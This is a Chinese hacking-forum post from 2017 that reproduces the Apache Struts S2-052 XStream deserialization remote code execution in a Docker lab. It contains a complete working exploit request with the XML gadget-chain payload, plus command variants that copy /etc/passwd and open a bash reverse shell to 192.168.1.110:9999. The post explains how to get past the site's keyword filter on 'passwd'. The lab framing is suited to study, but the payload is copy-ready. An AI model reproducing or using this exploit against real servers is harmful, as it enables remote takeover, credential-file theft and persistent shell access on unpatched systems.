Struts S2-052复现成功-反弹Shell实验-女黑客-必火安全学院

女黑客

 找回密码
 立即注册

QQ登录

只需一步,快速开始

Struts S2-052复现成功-反弹Shell实验

[复制链接]
发表于 2017-9-9 21:16:57 | 显示全部楼层 |阅读模式
在网上看了其他人复现的例子,方法,步骤都是对的,但是失败了
原因,不知道是不是原作者所写,总之,字符编码有问题,这种问题有可能是复制粘贴才会出现
其中s2-052,最重要的一点没有提及,就是
Content-Type: application/xml  这句话没有提及。

第一步,抄刀来做,docker 下载镜像
  1. docker pull medicean/vulapps:s_struts2_s2-052
复制代码
第二步,启动环境
  1. docker run -d -p 80:8080 -v /tmp/:/tmp/ medicean/vulapps:s_struts2_s2-052
复制代码
第三步,访问http://IP地址:8080 即可看到如下图所示

第四步,使用brupsuite抓包,记得修改成post方式
  1. POST /orders HTTP/1.1
  2. Host: localhost
  3. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: en-US,en;q=0.5
  6. Cookie: JSESSIONID=CB2AC06815FE6EF6A926D85DA7ECE876
  7. Connection: close
  8. If-None-Match: 1297469393
  9. Content-Length: 2409
  10. Content-Type: application/xml

  11. <map>
  12. <entry>
  13.      <jdk.nashorn.internal.objects.NativeString>
  14.        <flags>0</flags>
  15.        <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
  16.          <dataHandler>
  17.            <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
  18.              <is class="javax.crypto.CipherInputStream">
  19.                <cipher class="javax.crypto.NullCipher">
  20.                  <initialized>false</initialized>
  21.                  <opmode>0</opmode>
  22.                  <serviceIterator class="javax.imageio.spi.FilterIterator">
  23.                    <iter class="javax.imageio.spi.FilterIterator">
  24.                      <iter class="java.util.Collections$EmptyIterator"/>
  25.                      <next class="java.lang.ProcessBuilder">
  26.                        <command>
  27. <string>touch</string>
  28. <string>/tmp/nvhack.com.txt</string>
  29.                        </command>
  30.                        <redirectErrorStream>false</redirectErrorStream>
  31.                      </next>
  32.                    </iter>
  33.                    <filter class="javax.imageio.ImageIO$ContainsFilter">
  34.                      <method>
  35.                        <class>java.lang.ProcessBuilder</class>
  36.                        <name>start</name>
  37.                        <parameter-types/>
  38.                      </method>
  39.                      <name>foo</name>
  40.                    </filter>
  41.                    <next class="string">foo</next>
  42.                  </serviceIterator>
  43.                  <lock/>
  44.                </cipher>
  45.                <input class="java.lang.ProcessBuilder$NullInputStream"/>
  46.                <ibuffer/>
  47.                <done>false</done>
  48.                <ostart>0</ostart>
  49.                <ofinish>0</ofinish>
  50.                <closed>false</closed>
  51.              </is>
  52.              <consumed>false</consumed>
  53.            </dataSource>
  54.            <transferFlavors/>
  55.          </dataHandler>
  56.          <dataLen>0</dataLen>
  57.        </value>
  58.      </jdk.nashorn.internal.objects.NativeString>
  59.      <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  60.    </entry>
  61.    <entry>
  62.      <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  63.      <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  64.    </entry>
  65. </map>
复制代码

以上代码,<map>...</map> 为post请求参数,其中注意,请求头中添加:Content-Type: application/xml
在<map>...</map>中执行命令的代码是
  1. <command>
  2. <string>touch</string>
  3. <string>/tmp/nvhack.com.txt</string>
  4. </command>
复制代码
执行成功后,可以 :cat /tmp/nvhack.com.txt 发现存在这个文件了
当然你也可以执行其他命令,如:
  1. <command>
  2. <string>cp</string>
  3. <string>/etc/pass1wd</string>
  4. <string>/tmp/pass1wd</string>
  5. </command>
复制代码
反弹shell

  1. <command>
  2. <string>bash</string>
  3. <string>-c</string>
  4. <string>bash -i >&amp; /dev/tcp/192.168.1.110/9999 0>&amp;1</string>
  5. </command>
复制代码
43D0DC40-E5A7-4E73-90B6-88EE65B0D060.png

由于服务器对关键字的限制,以上代码中的
pass1wd 为passwd
请自行修改

回复

使用道具 举报

 楼主| 发表于 2017-9-9 21:18:59 | 显示全部楼层
由于服务器对关键字的限制
pass1wd 为passwd
请自行修改

回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|小黑屋|女黑客 |网站地图

© Copyright 2021 版权所有(一极教育科技有限公司)

津ICP备17008032号-3
快速回复 返回顶部 返回列表